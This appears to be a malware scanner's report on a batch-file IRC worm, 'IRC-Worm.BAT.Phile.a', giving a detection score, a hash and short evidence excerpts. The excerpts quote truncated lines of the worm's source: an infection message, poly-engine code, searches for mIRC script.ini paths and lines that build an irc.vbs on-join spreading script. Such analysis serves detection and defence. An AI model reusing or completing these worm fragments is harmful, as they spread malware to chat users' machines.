Suspicious ^80% Download

IRC-Worm.BAT.Phile.a

IRC worm with poly-engine

Detects mIRC configuration file pathsPercent-encoded content decoded

SHA-2561f93580a44b2465e393faa817b3b737c5159708ff6368d665c3fd024c790fd88

Evidence

English function-word token "and" lines 5–9

5:26… ion% EQU 5 (
6% spth-phile %echo You are infect with philet0ast3r's and Second Part To Hell's Bat/BatXP.Iaafe!
7% spth-phile %set generation=0
8% spth-phile %)
9% spth …

mIRC config file paths (group A) lines 348–356

348:15… set randoma=
349::		All variables used in the poly-engine are deleted
350
351:irca % AAAA %
352if exist C:\mirc\script.ini set mir=C:\mirc% AAAA %
353echo %mir%
354if exist C:\mirc32\script.ini set mir=C:\mirc32% AAAA %
355if exist C:\proga~1\mirc\script.ini set mir=C:\progra~1\mirc% AAAA %
356if exist C:\prgra~1\mirc32\ …

Percent-encoded content decoded lines 371–377

371:131… >irc.vbs% AEEE % 
372%wc% "   on 1:join:#: { ">>irc.vbs% AEEE % 
373%wc% "    .if (" + %vs%36) + "nick != " + %vs%36) + "me " + %vs%38) + "" + %vs%38) + " " + %vs%37) + "old != " + %vs%36) + "nick) {">>irc.vbs% AEEE % 
374goto ircf% AEEE % 
375:ircf % AFFF % 
376%wc% "    ." + %vs%115) + %vs%101) + %vs%116) + " " + %vs%37) + "old " + %vs%36) + "nick">>irc.vbs% AFFF % 
377%wc% "    .timer " + %vs%36) + "+ " +  …